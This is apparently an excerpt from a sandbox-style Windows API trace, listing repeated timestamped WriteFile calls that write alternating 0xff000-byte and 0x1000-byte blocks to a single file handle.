[0088.554] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0088.584] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0088.584] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0088.650] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0088.650] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0088.904] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0088.921] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0088.954] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0088.954] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0088.979] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0088.979] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0089.004] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0089.004] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0089.028] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0089.028] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0089.095] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0089.095] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0089.120] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0089.120] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0089.147] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0089.147] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0089.171] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0089.171] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0089.195] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0089.196] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0089.220] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0089.220] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0089.244] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0089.244] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0089.324] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0089.325] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0089.394] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0089.395] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0089.419] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0089.419] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0089.442] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0089.443] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0089.467] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0089.467] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0089.492] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0089.492] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0089.516] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0089.516] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0089.540] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0089.540] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0089.606] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0089.606] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0089.671] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0089.671] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0089.695] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0089.695] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0089.719] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0089.719] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0089.833] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0089.833] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0089.857] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0089.857] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0089.881] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0089.881] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0089.905] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0089.905] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0089.929] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0089.929] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0089.955] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0089.956] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0089.979] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0089.980] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0090.165] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0090.166] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0090.189] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0090.189] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0090.255] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0090.255] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0090.357] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0090.357] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0090.381] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0090.381] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0090.407] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0090.407] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0090.484] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0090.484] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0090.512] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0090.512] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0090.539] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0090.539] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0090.567] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0090.567] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0090.642] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0090.642] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0090.669] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0090.670] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0090.693] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0090.694] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0090.718] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0090.718] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0090.743] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0090.743] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0090.840] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0090.840] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
